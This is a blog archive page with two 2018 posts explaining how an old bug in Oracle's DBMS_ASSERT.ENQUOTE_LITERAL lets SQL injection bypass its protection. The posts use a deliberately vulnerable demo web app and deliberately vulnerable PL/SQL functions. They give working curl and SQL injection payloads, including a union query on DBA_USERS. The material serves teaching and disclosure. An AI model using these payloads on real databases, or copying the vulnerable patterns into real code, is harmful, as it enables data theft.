Obtrusities: Where the Abstruse Meets the Obtuse: April 2018

Tuesday, April 24, 2018

Detecting and Implementing a DBMS_ASSERT Bypass

Overview

The previous post discussed a bug in older versions of the Oracle dbms_assert.enquote_literal method, that could allow an attacker to bypass SQL injection protections, and ex-filtrate system data.

This post will explore a "real-world" dbms_assert bypass scenario, and then explore some non-standard SQL injection approaches.

The Web App

For this example I have built a simple (and very ugly) web application, that allows a user to insert records in a table, and search records in that table.

The web application is built using modowa with an Oracle XE database on the backend.

Basic Functionality

The application itself is very simple. It allows a user to enter new requests:

It also allows a user to search the existing request on any of the entered fields:

Under the Covers

Looking at the html for the web application we see two AJAX calls that handle the search and insert operations.

<html>
<head>
<title>Service Request Board</title>
<script>
function loadRequests() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();
}
function addRequest() {
 var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();

}
</script>
<body onload="loadRequests()">
<div name="title"><h1>Service Request Page</h1></div>
<div name="requests">
<h2>Open Requests</h2>
<div id="open" name="open">
<!-- load content via ajax -->
</div>
<div name="form">
<div><span>Type: <input id="p_request_type" type="text"></span></div>
<div><span>Name: <input id="p_requestor" type="text"></span></div>
<div><span>Email: <input id="p_email" type="text"></span></div>
<div><span>Description: <input id="p_description" type="text"></span>
<div><span><button name="search" onClick="loadRequests()">Search</button></span>
<span><button name="add" onClick="addRequest()">Add Request</button></span></div>
</div>
</body>
</html>

If we curl the two methods seen in java script functions above, we can better follow the service interaction.

curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN"

curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT

Scanning The Application

Now that we have a basic understanding of how the application works, we can run some scans using standard tools like OWASP ZAP and sqlmap. Bear in mind that the insert method (pkg_service_requests.add_request) is vulnerable to SQL injection.

While OWASP ZAP detects that the service is vulnerable to Cross Site Scripting, it does not detect the SQL injection vulnerability.

We even see samples of the ZAP SQL injection attempt in the Service Request application.

Sqlmap fares slightly better than OWASP ZAP. As you can see from the screen shots below, the scanner successfully detects that an Oracle database is used on the backend, and that the input parameters may be vulnerable to injection. However, ultimately sqlmap is not able to form a hook to successfully inject the system.

Bypassing DBMS_ASSERT

The traditional SQL injection approach is to include the entire injection payload into one input parameter, escaping out of the input value by passing a single or double quote.

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"

As we see, this service returns an Oracle error when we attempt this form of injection.

However, as shown in the previous post, if an old version of dbms_assert.enqoute_literal is being used, you can attempt to escape out of the input by passing a single quote (one ' ). In the curl statement below a single quote is passed to the p_email input parameter.

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

Now, instead of a PL/SQL numeric or value error, we see a SQL syntax error: ORA-00917 missing comma. We have found our injection path. However, there is a small problem: Our injection point is inside an insert statement. This means that normal SQL injection approaches like appending to the where clause, or UNION injections will not work, as query data is not returned to the service.

Injecting an Insert Statement

While we cannot use simple SQL injection methods, we can inject Oracle built in variables and functions into the insert statement to glean some information from the system. For instance, the Oracle built in functions USER and SYSDATE will tell us a little bit about the system, and also let us know that our injection path is working.

Manual injection of the service takes some time and trial and error, but successful execution ultimately reveals the name of the database user used for the service connection.

Before we manually inject the service, a quick review of oracle insert syntax, and common oracle insert errors.

With these errors as a reference point, we can run our initial injection:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

This fails with ORA-00917: missing comma error, and it is pretty easy add a comma:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"

Resulting in an ORA-01756: quoted string not properly terminated error. We cannot add a single ' to terminate the string without hitting the dbms_assert protections. However we can comment out the trailing quote ' with an oracle comment --:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"

We now receive ORA-00936: missing expression, as we did not populate that insert column with any data. We will use the Oracle built in USER function to test:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"

We now see another ORA-00917: missing comma error. This could mean we need to add another record field, or it could mean we are missing a closing parentheses for the insert statement. If we try the later, we see we are successful with the injection.

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"

We can see that the final injection statement successfully executes, and the name of the Oracle database user (PORTAL_USER) is revealed.

What to do with an Insert?

It may seem at first that a SQL injection attack on an insert statement has great potential destructive power, but little utility for the ex-filtration of data. The next post will show how you can use a variety methods to query data using an attack vector based on an insert statement.

Thursday, April 19, 2018

Bypassing Oracle SQLi Protections

DBMS_ASSERT is a built in package in the Oracle database that is often used to protect dynamic SQL statements from SQL injection. However, on older Oracle databases (pre 11.2.0.4), one of the provided methods (DBMS_ASSERT.ENQUOTE_LITERAL) contains a bug that, in the right circumstances, can be used to bypass the protections and ex-filtrate data via a SQL injection attack.

Successful exploitation of the vulnerability is not difficult, but normal security scanners will not detect the issue, or if they do, they will not find a viable exploit path. The remainder of this post will discuss the impacted Oracle versions, the dbms_assert.enquote_literal use case that is vulnerable to attack, and demonstrate a proof of concept for exploitation.

Affected Oracle Versions

Oracle Databases running 11g R2 through 11.2.0.3 are affected. The examples in this post all use an Oracle XE database running on an OEL virtual machine.

How is dbms_assert.enquote_literal used?

The method call in question is used to place a single quote ( one ' ) around a string, "en-quoting" it to be used for building of dynamic SQL statements.

This is very useful for a developer as it helps to avoid "escaping hell." Rather than building a dynamic sql manually adding escaped quotes to a string:

stmt := 'select * from users where user = ''' || usr_var || '''';

You can use dbms_assert.enquote_literal to handle the quotes for you and avoid the complexities of escaping your quotes:

stmt := 'select * from users where user = ' || dbms_assert.enqoute_literal(usr_var);

Saving a developer from "escaping hell" is not the primary purpose of the method. The main reason to use the function is to protect against sql injection. In normal SQLi scenarios a single quote is passed in to allow the attacker to break out of the dynamic sql, and embed a malicious code block. The dbms_assert.enquote_literal method will throw an error if there is an unbalanced quote:

SQLi and DBMS_ASSERT.ENQOUTE_LITERAL as protection:

So how exactly does this protect against SQL injection? Let us examine a simple Oracle pl/sql function that is vulnerable to SQL injection, starting with this table, populated with the given values:

create table example_table(id number primary key, value varchar2(100));

insert into example_table values (1,'Dog');

insert into example_table values (2,'Cat');

insert into example_table values (3,'Catfish');

insert into example_table values (4,'Dogwood');

insert into example_table values (5,'Wood');

Now we will build a function that queries the table, and is vulnerable to SQL injection:

create or replace function basic_sqli(input in varchar2) return xmltype
as

   stmt varchar2(100) := 'select id, value from example_table where upper(value) like upper(''%' || input || '%'')';
   cur  sys_refcursor;
   xml  xmltype;

begin

   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;

end;
/

This is a pretty basic function. It queries the table EXAMPLE_TABLE for any record that contains the search string passed in. This query is the happy path execution:

select basic_sqli('o') from dual;

However, the function is also trivial to inject, with the following standard proof of concept injection inputs:

select basic_sqli('o'' ) or 1=1--') from dual;
select basic_sqli('o'' ) and 1=0--') from dual;

DBMS_ASSERT to protect against SQL injection

Now let us explore how dbms_assert.enquote_literal can be used to protect against SQL injection attacks. We will slightly modify the previous function so that the user input is passed through a call to dbms_assert.enquote_literal prior to execution:

create or replace function protected_sqli(input in varchar2) return xmltype
as

   stmt varchar2(100);
   clean varchar2(100);
   cur  sys_refcursor;
   xml  xmltype;

begin

   clean := dbms_assert.enquote_literal('%'||input||'%');
   stmt := 'select id, value from example_table where upper(value) like upper('|| clean || ')';
   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;

end;
/

As we can see the "happy path" behavior of the query remains the same:

select protected_sqli('o') from dual;

However the same SQL injection attack used previously now results in an error:

select protected_sqli('o'' ) or 1=1--') from dual;

The problem with dbms_assert.enquote_literal

So far, it looks like the method provides fairly robust protection against SQL injection. However there is a crucial problem with the method in earlier versions of oracle. If you pass a single quote to the method (which in SQLplus is escaped as '''') the function returns a single quote:

This single quote provides us with the escape vector we need to successfully inject a procedure. This injection approach will not work with the previous example, as it requires an injection that spans multiple input fields. However, consider the following function call, that allows for multiple search strings against our original table:

create or replace function bypassable_protected_sqli(in1 in varchar2, in2 varchar2) return xmltype
as

   stmt varchar2(1000);
   clean1 varchar2(100);
   clean2 varchar2(100);
   cur  sys_refcursor;
   xml  xmltype;

begin

   clean1 := dbms_assert.enquote_literal(in1);
   clean2 := dbms_assert.enquote_literal(in2);
   stmt := 'select id, value from example_table where upper(value) = upper('|| clean1 || ') or upper(value) = upper(' || clean2 || ')';
   dbms_output.put_line(stmt);
   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;

end;
/

Note: I have added a dbms_output to this function to make it easier to see how the inputs are parsed.

Nominally the function will allow a user to query the table against two different inputs:

select bypassable_protected_sqli('cat','wood') from dual;

And the function executes the intended query:

select id, value from example_table 
where upper(value) = upper('cat') or upper(value) = upper('wood')

A traditional SQLi attack will not work, because the function is protected by dbms_assert:

select bypassable_protected_sqli('cat'' or 1=1--','wood') from dual;

However, if we pass a single quote (in SQLplus escaped to '''') we see that we can break out of the query and generate a syntax error in the dynamic sql statement:

select bypassable_protected_sqli('''','wood') from dual;

If you look at the resulting query you will see that we have inserted a single quote into the first condition:

 select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper('wood')

Now that we have used the first parameter as our escape-vector we can use the second input parameter for our injection payload:

select bypassable_protected_sqli('''',') or 1=1--') from dual;

You can see how our second parameter input is treated as literal sql commands, with the final comment (--) forcing the parser to ignore the trailing quote.

select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper(') or 1-1--')

The first parameter becomes our escape vector, and we can add any injection query to the second parameter as long as it does not contain a quote (which would result in a dbms_assert error). Here is an example querying the DBA_USERS table:

select bypassable_protected_sqli('''',') union select rownum, username from dba_users where rownum < 5--') from dual;

select id, value 
from example_table 
where upper(value) = upper(') or upper(value) = upper(') 
union select rownum, username from dba_users where rownum < 5--')

Conclusion

In the end, dbms_assert is one of many approaches to minimize the risk of SQL injection in dynamic queries. However , the only way to really eliminate the risk of SQL injection is by using static cursors, or using bind variables when building dynamic SQL statements.

In future posts I will look at how sqlmap reports the results of injection attempts on queries built using dbms_assert.enquote_literal, and look at some other methods used in Oracle to protect against SQL injection.